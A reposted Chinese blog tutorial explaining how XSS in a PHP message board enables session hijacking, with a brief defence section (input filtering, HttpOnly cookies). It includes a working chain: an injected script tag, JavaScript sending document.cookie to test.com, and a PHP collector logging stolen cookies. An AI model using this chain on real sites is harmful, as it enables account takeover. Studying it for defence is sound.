XSS危害——session劫持(转载)
在跨站脚本攻击XSS中简单介绍了XSS的原理及一个利用XSS盗取存在cookie中用户名和密码的小例子,有些同学看了后会说这有什么大不了的,哪里有人会明文往cookie里存用户名和密码。今天我们就介绍一种危害更大的XSS——session劫持。
神马是session
想明白session劫持及其危害,首先要搞清楚什么是session,熟悉http的同学知道,http是无状态的,也就是客户端向服务器请求完成后,会断开连接,下次同一个客户端再次访问服务器的时候,服务器会把它当作一个陌生的请求,不会知道它曾经来过,这里有它的印记。
但是这样的交互是非常麻烦的,某个网站有很多theme,通过一套机制记在服务器中,用户访问的时候从数据库等地方读取配置,返回给客户端合适的themeHTML响应。因为http没有状态,下次用户再来的时候又读取一遍数据库配置,每个用户都要重复这个过程,是不是很麻烦。这时候我们希望有一个全局的变量存储空间,用来存放一些全站点都需要的并且不会变来变去(即使变也没什么)的数据,这就是Application变量。Application变量是站点的全局变量,只要服务器不宕机,任何用户在任何页面在授权的情况下都可以访问,进行读写操作。这样一些theme、timezone等信息就可以在用户第一次访问的时候存放在Application内,再次访问或者其它用户访问的时候可以直接去读取,方便了很多。
然而,有时候我们希望服务器为我们每个单独的web用户开辟一块儿私密空间,比如我们肯定不希望用户访问一个页面就输一次用户名、密码,当用户第一次登录成功后可以把登录信息存放在服务器,下次来了直接比对就可以。但是明显大家不希望自己的用户名和密码能够被所有的用户访问,所以服务器私密空间是需要的。
but,由于http的无状态性即使服务器上有了每个用户的私密空间,但下次用户访问的时候,服务器仍然不知道用户是张三、李四还是王二麻子。这可怎么办,聪明的同学肯定想到了,让客户端的请求告诉服务器我是王二麻子就行了。这样服务器和客户端就可以对话了,不至于说了后句就忘了前句。
问题在于客户端怎么告诉服务器我是谁。细心的同学会注意到cookie是http协议的一部分,会在http请求和http响应中出现,而客户端和服务器有记忆的会话正是靠cookie实现的。拿登录做例子,会话过程是这样的
登录
1. 客户端发送登录请求
2. 服务器接收请求,验证登录,成功后为此web用户开辟一个私密空间,存放登录信息
3. 服务器为这个私密空间编号,类似于PHPSESSID=rcmjnke6er5pnvf3qof0lclca7这样的一个键值对,不同的语言生成的键名和值的规则不同,但是都本着两个原则:第一,value必须唯一,毕竟一个站点可能同时有数百万甚至更多用户在访问,不能让两个用户的表示一样;第二:生成的value必须是不可推测的,否则别有用心用户就可以根据自己的表示信息推断出别人的,然后伪造别人登录信息访问站点(这正是session劫持)。
4. 服务器把这个键值对写入http响应中传给客户端
5. 客户端接收响应,关闭连接
登录成功,用户访问其他页面
1. 客户端发送登录请求(服务器写到cookie中的用户标识信息也被发送)
2. 服务器读取http请求中的cookie信息,根据标识信息查找对应私密空间,读取用户信息
3. 服务器生成特定响应,发送给客户端
4. 客户端接收响应,关闭连接
这个过程是不是很像是一个会话?这样第一次来了给个标签,下次凭此标签交流的机制就是session,当然session还包含其失效机制等。
session劫持
服务器生成的用以标识客户信息的cookie一般被称为sessionId,而通过一些手段获取其它用户sessionId的攻击就叫session劫持。
说的这么恐怖,那么被别人知道了我的sessionId后会有什么危险呢?通过上面交互过程可以看出来服务器是靠sessionId识别客户端是张三、李四还是王二麻子的,当其它用户获知了你的sessionId后,在其有效期内就可以凭此sessionId欺骗服务器,获取你的身份登录使用网站。
XSS劫持session
还是使用跨站脚本攻击XSS中留言板的XSS漏洞,添加一个登录成功的首页,包含留言板页面链接,管理员有其它权限,登录失败返回登录页。
home.php
<!DOCTYPE html>
<html>
<head>
<title>Home</title>
<?php include('/components/headerinclude.php');?>
</head>
<body>
<a href="list.php">Comments</a>
<?php
use \entity\authority as au;
include 'entity\user.php';
if(isset($_POST['username'])){
$user=new au\User();
$user->username=$_POST['username'];
$user->password=md5($_POST['password']);
if($user->username=='Byron'){
$user->role='admin';
}else{
$user->role='normal';
}
$_SESSION['user']=json_encode($user);
}
if(!isset($_SESSION['user'])){
echo '<script>';
echo 'window.location.href="index.php"';
echo '</script>';
}else{
$me=json_decode($_SESSION['user']);
echo '<br/>Hello '.$me->username.'!<br/>';
if($me->role=='admin'){
echo "Your are an Administrator, you can do anything.";
}
}
?>
</body>
</html>
当我们以管理员身份登录后界面是这样的

当没有管理员权限的恶意用户登录并访问留言板的时候,利用XSS漏洞注入这样代码

看看坏蛋做了什么
<script type="text/javascript" src="http://test.com/hack.js"></script>这条语句利用script的src跨域请求坏蛋自己的脚本
var c=document.cookie;
var script =document.createElement('script');
script.src='http://test.com/index.php?c='+c;
document.body.appendChild(script);
脚本中创建了一个script标签,利用jsonp连带这当前用户的cookie向'http://test.com/index.php发送了http请求
<?php
if(!empty($_GET['c'])){
$cookie=$_GET['c']; try{
$path=$_SERVER["DOCUMENT_ROOT"].'/session.txt';
$fp=fopen($path,'a');
flock($fp, LOCK_EX);
fwrite($fp, "$cookie\r\n");
flock($fp, LOCK_UN);
fclose($fp);
}catch(Exception $e){ }
}
?>
原来坏蛋通过XSS把sessionId记到了自己磁盘
如何伪造管理员登录
这样如果在坏蛋利用XSS注入劫持sessionId的脚本后管理员登录并访问留言板页面,坏蛋就会得到管理员的sessionId,在其有效期内坏蛋可以这么做
1. 利用自己帐号登录系统,等待管理员访问被攻击页面,获取其sessionId
比如我得到管理员sessionId PHPSESSID=93jqhkal21kn6lg68uubvd1s37
2. 通过客户端修改sessionId
自己登录界面

修改cookie

3. 刷新页面,骗过服务器,自己成了管理员

4. 不堪设想。。。
如何防范
这种session劫持主要靠XSS漏洞和客户端获取sessionId完成,一次防范分两步
1. 过滤用户输入,防止XSS漏洞
2. 设置sessionId的cookie为HttpOnly,使客户端无法获取
XSS危害——session劫持(转载)的更多相关文章
- XSS危害——session劫持
在跨站脚本攻击XSS中简单介绍了XSS的原理及一个利用XSS盗取存在cookie中用户名和密码的小例子,有些同学看了后会说这有什么大不了的,哪里有人会明文往cookie里存用户名和密码.今天我们就介绍 ...
- (转)XSS危害——session劫持
原文地址:http://www.cnblogs.com/dolphinX/p/3403027.html 在跨站脚本攻击XSS中简单介绍了XSS的原理及一个利用XSS盗取存在cookie中用户名和密码的 ...
- 跨站脚本攻击XSS(二)——session劫持
转载自:http://www.cnblogs.com/dolphinX/p/3403027.html 在跨站脚本攻击XSS中简单介绍了XSS的原理及一个利用XSS盗取存在cookie中用户名和密码的小 ...
- cookie窃取和session劫持
Updates 2014-08-17 感谢@搞前端的crosser的提醒,加入了HTTP Response Splitting的内容. 此篇文章的Presentation戳这里. 一.cookie的基 ...
- PHP漏洞全解(七)-Session劫持
本文主要介绍针对PHP网站Session劫持.session劫持是一种比较复杂的攻击方法.大部分互联网上的电脑多存在被攻击的危险.这是一种劫持tcp协议的方法,所以几乎所有的局域网,都存在被劫持可能. ...
- session劫持以及预防
session劫持是一种广泛存在的比较严重的安全威胁,在session技术中,客户端和服务端通过session的标识符来维护会话, 但这个标识符很容易就能被嗅探到,从而被其他人利用.它是中间人攻击的一 ...
- session劫持技术
目录: 0×00 应用程序认证设计背景0×01 常规攻击思路及缺陷0×02 利用应用程序设计缺陷进行Session劫持的攻击原理0×03 Session劫持的大致思路及意义0×04 如何防御这种攻击 ...
- Cookie , Session ,Session 劫持简单总结
cookie 机制: Cookies 是 服务器 在 本地机器 上存储的 小段文本,并伴随着 每一个请求,发送到 同一台 服务器. 网络服务器 用 HTTP头 向客户端发送 Cookies.在客户端, ...
- 预防 Session 劫持与 Session 固定攻击
一.预防 Session 劫持 要求: ① 只允许通过 Cookie 来传递 SessionID ② 生成一个由 URL 传递的唯一标识作为 Session 的标记(token) 当请求同时包含有效的 ...
随机推荐
- 【Webkit Blog翻译】深入研究WebRTC | 内有福利
本文译自 A Closer Look Into WebRTC” 我们在最近的一篇 WebKit博客中宣布了对High Sierra平台和iOS中Safari的WebRTC支持.现在,我们希望能够带领大 ...
- eclipse 工具在工作中实用方法
不断更新记录工作中用到的实用技巧 1.快捷方式管理多个工作空间 参数: -showlocation 设置eclipse顶部显示工作空间位置 -data 文件位置 设置打开的工作空间位置 创建eclip ...
- PHP学习(1)
- 使用SpringSecurity搭建授权认证服务(1) -- 基本demo认证原理
使用SpringSecurity搭建授权认证服务(1) -- 基本demo 登录认证是做后台开发的最基本的能力,初学就知道一个interceptor或者filter拦截所有请求,然后判断参数是否合理, ...
- leetcode的Hot100系列--序
小白程序猿,练练手,做做题目,分享下经验, 有不对的,还请大家能够指出,多多包涵!谢谢!! 先简单,后复杂,循序渐进,希望能够坚持下来, 大家一起进步~~
- Codeforces 152C:Pocket Book(思维)
http://codeforces.com/problemset/problem/152/C 题意:给出n条长度为m的字符串,对于第一条字符串的每个位置利用第2~n条字符串的相应位置的字符去替换相应的 ...
- mysql 终端命令
1.打开数据库 /usr/local/MySQL/bin/mysql -u root -p 2.输入root密码 3.使用我的数据库 use mysql 4.查看表 desc table_name 5 ...
- 使用开源框架Sqlsugar结合mysql开发一个小demo
一.Sqlsugar简介 1.性能上有很大优势 sqlsugar是性能最好的ORM之一,具有超越Dapper的性能 ,走的是EMIT够构中间语言动态编译到程序集,完成高性能的实体绑定,达到原生水平. ...
- JsonUtil(基于Jackson的实现)
JsonUtil(基于Jackson的实现) 前言: 其实,我一直想写一个有关Util的系列. 其中有四个原因: Util包作为项目的重要组成,是几乎每个项目不可或缺的一部分.并且Util包的Util ...
- .net core2学习笔记
在Linux上安装完netcore的sdk后,发现每次重新登录dotnet命令都会失效,咨询完同事后才知道之前的设置只是临时变量,需要vim /etc/profile 编辑这个文件,把环境变量写入 ...